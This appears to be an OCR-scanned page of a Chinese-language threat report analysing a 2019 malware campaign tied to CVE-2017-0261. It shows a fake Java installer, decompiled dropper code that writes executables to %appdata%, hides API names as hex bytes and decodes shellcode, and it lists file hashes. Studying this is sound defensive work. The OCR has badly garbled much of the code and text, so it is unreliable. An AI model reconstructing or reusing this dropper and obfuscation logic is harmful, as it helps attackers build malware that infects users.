<link href="http://hafs, com pk/css/stvle—tablet,css” rel="stylesheet” type="text/css” media="only screen and (min-width: 760px) and (max-width: 978px)">

8| {!— MOBILE —->

TARERAIREA TR RS avaZ RN | 1517/ , B5EE%appdata% B} FRBIITIER fHjava®
KFEFF.
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GetEnvironmentVariableA("appdata™, &Buffer, @x3EBu);
Stringl = @;

memset(&v13, @, @x22Fu);

v2 = GetCurrentDirectoryA(@x184u, &5tringl);
Istrcata(&stringl, "‘\\Java Platform SE binary.exe™);
ModuleMame = 8x6B;

w30 = @x65;
vid@ = @x7T2;
vdl = BxBE;
vd2 = Bxe5;
vid3 = @xb6l;
vadd = @x33;
vads = Bu32;
vdE = Bx2E;
vid7 = Bxbd;
vadd = @xbC;
vadd = BueC;
w7 = BxC;

w58 = @;

vd = (int)GetModuleHandled(&oduleName);
String2 = Bx4C;

w26 = @x6F;
v27 = 8xbl;
V28 = @x6d;
w29 = Bwd(;
w38 = Bx69;
w31l = @xb62;
VIZ = BNT2;
w33 = Bx6l;
v3id = @x72;
w35 = @x79;
vIE = Bndl;
viE o= BxC;

w37 = @;

dword_B34984 = (int (_ stdcall *)(_DWORD))sub_481218(v4,
vle = '"lehs';

w17 = Bx6C;
v1lE = @x33;
w19 = @x32;
V2B = Bx2E;
w21l = Bued;
w22 = @xbl;
V23 = @xbC;
vs = @xB;

PITIERREREFNT , RRREE.

&5tring2);
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Recycle Bin  MejFKEIDpl...

m}k‘” EE

Adobe Reader Mo

Welcome to Java

Java provides access to a world of amazing content. From business solutions to helpful utilities and
entertainment, Java makes your Internet experience come to life.

Nate: Mo personal information is gathered as part of our install process, Click here for mare information on
what we do collect.

Click Install to accept the license agreement and install Java now.

[7] change destination folder Cancel ] I install »

Z Ja¥1E %Roaming%Microsoft\Windows\ Update\ B % F B fTRasdial.exe,
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WFile = CreateFilef(&Stringl, @x4ceeeeecu, @, @, 2u, @, @);
WriteFile(hFile, &unk_SFB8E@, @x3B6Alu, &NumberOfByteslritten, @);
Ll eHandle(hFile)};
lelame = @x6B;
BxB5;
Bx72;
BxBE;
BxB65;
Bx6C;
Bx33;
Bx32;
Bx2E;
BxG4;
Bx6C;
Bx6C;
VG o= BxC;
58 = B3
(int)GetModuleHandleA (&ocduleName);
BxdC;
Bx6F ;
BxEl;
BuEd;
Bl
BxEo;
bxGQ;
Bw72;
BxEl;
Bx72;
Bx79;
Bxdl;
5 BxC;
37 = 83
dword 634984 = (int (_ stdcall *)(_DWORD))sub_481210(v3, &v25);
"lehs’
R
30
2

-
Bx64;
Bx6C;
Bx6C;

w4 o= BxB;

24 = B3

v2 = dword 634984(& 16};
l;*’;p, (&v1i2, "TifmmF ,fd«ufB Vi

for ( 1 =@; 1 < @xD; +1 )
--F (V12 + 1);
dword 634988 = (int (_ stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD,
Sleep(8x2?18u)
dword_634988(8, "open", &5tringl, @, @, @, NumberOfByteskritten);

V{4 Rasdial.exe

MD5  8b282ef8fg41ccceb707a9een4a5413¢e

GHASRFREARBAEA S , XETHER.

BRIRIRER
5B E R KEX

CVE-2017-0261F ¥ A 52019F K BT EALRE AHFAEAR

FE , 12516082019,

_Du

ORD,

Sl

_DWORD) )sub_481218(v2, &v12);
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roid _ stdcall sub_15C(_DWORD *al, signed int a2)

" _DWORD *v2; // eax
signed int v3; // ecx

o EEiiEshellcode
{ if (%2 )

(¥

M= Bxl6882819u;
a:

3

+vi;

while ( v3 »>= 4 );

ERI=

H}Eéﬂtlu:u

if ( sub_%86BDO{(const char =)&u37, "8") == 1 )

{
Buffer = B;
memset(&us/, 0, 0x103u
strepy(string?,
GetTempPathn{ 0x 194580
lstrcatA{&Buffer, String2);
sub_407980(v25);

H

else if ( sub_486BDB((const char

{
GetTempPathA(Bx18ku, &Stringl);
1strecatA{&String1, “TPX499.dat")
sub_483E20();
sub_487980(u25);
u26 = clock() + 3000;
while ( clock{) < v26 )

#)Bu37, "23") == 1 )

FEAEE]

DeleteFilen(&String1);

P& 2R 40badnews /g ]9,

S — - .
strepy("1fsofma3/emm”, “kernel32.dll™);
= GetModuleHandleA("1fsofma3/emm™ ) ;
= a;

v

© = B
1strlenA("bewbqj43/emm™);
@;

EAEE]

--aBewbqj43Emm[v13];
v1e8 = v13 + 13
1strlenA("bewbgj43/emm”

v1es;

)i

strepy(Stringl, "LoadLibraryA™);

v1S = ( DWORD *Y((char *)v8 + *( DWORD *}((char *)v& + *{( DWORD *)v

i

woid

D

_ stdecall sub_15C({_DWORD *al, signed int a2)

WORD *v2; // eax

signed int w3; // ecx

v2 = alj
o RIS EE B shellcode
¢ if
- w16882819u;
s
L
while ( v3 »>= 4 );
I

/& + BxF)

Payload q EEVA B 2R 2R % FfKFakeJLIf5( ],

if [ sub_484FE2(Bunk_41014C, B~37) == 1 }// 8
187 = @3
memset(RU18E, @, @x183u):
73 = T";
- Py
- %'
= 'at;
= '3';
[

‘a'y
= s
83 = @
o (8184, Bv107);
IstrcatA(8Stringl, &String2);
sub_48637E(&stringl);

goto LABEL_72;

¥
if ( sub_seaFE2(ddword_a10158, &037) == 1 }// 32

L AN G e =)

CloseHandle(v7});

}

Sleep(@x3E8u);

sub_18603998();

strepy("1fsofmas/emm”, "kernel32.d1l"™);

= GetModuleHandleA("1fsofma3/emm”);
= @;

v

1iString[vie];

= vlE + 1;
IstrlenA("ouemm/emm! 1ELITLETEEI™);
/188 < v1l );
;r‘len;-‘-.("bewbqj43r’emm"); MICI’OSCMgmt.EXE
if (viz >@)
{
do
{

--aBewbqj43Emm[v13];
v1e8 = v13 + 13
IstrlenA("bewbgj43/emm™);

v1lesd;

BAMTAIL , RZFAREARRHKIMicroScMgmt.exe 5K A A B Accelerate Technologies

28/33



dfe18346db405af2484054280b5c0124bc80ca84d3y s 7 ¥
=0 HFEE =+ HACE  LamiEs s =3
EERF= ;i/r HFEEEE
EzEps  REEEE FEEREE HHFESLE.
Accelerate Te... shal 4HH
ZEFEES)
Zi IAcoelerate Technologies Ltd
EEFHEE Imﬁq
| EEAE: prerm
EEIEHMV)
BIE L)
EEEEE B FHBfHdh: B1ElE

[F)Ef MicroScMgmt.exeft PEFSIA{E 203 Amg I T £ /A F) QuickHeal AR A M TihA |, 1@
HELEE A RIKEZ N ENEAPRER,

signature:"DES7DCB0492541910EA14FD5A3D4TFT1A3F911F 7" % Hep Q i a38

[] FuLESS W ® X

Detections Size First seen Last seen

5982CE1F7BC475FACBI3F 3597FA368CA49830E455F 1D3566A5FB65B883EI3EDC

2019-09-23 2019-10-06

line_w er-iftw.exe ! ¥
[J online_wrapper-iftw.exe eedrr] festivg 16:50:00 183159
@  peexs signed overlay
TATATS13026027381BA453508F 3841 TCFF2F C2AF2F TA4T3AFESFBACTD 6ADDD
20190927 20130827
client. ex &
O ciontens 45170 23063kB 0 0 it
&  peexe Invalid-signature assembly signed overlay
CC8367ASFD62882E81TAFC405887F 87169604 574404899986 1981 26ASECFST
2019-09-23 2019-09-23
] dim ex 361
O dwmese 6173 23766KB s pirges
&  peexe overlay
8098029354 783160217586 4F 5F56 349200040 FAF 27 1F5836BCCCHTRTB622
Bty 20190913 2013-09-13
O dwmese 23168, | A1Z60KB 105320 105320
@ | peexe signed overlay  (F

2587500534470 238AF 39D8A1638AE46B6F15C9C 3TADCDREBATRAEEDDOG AR 447
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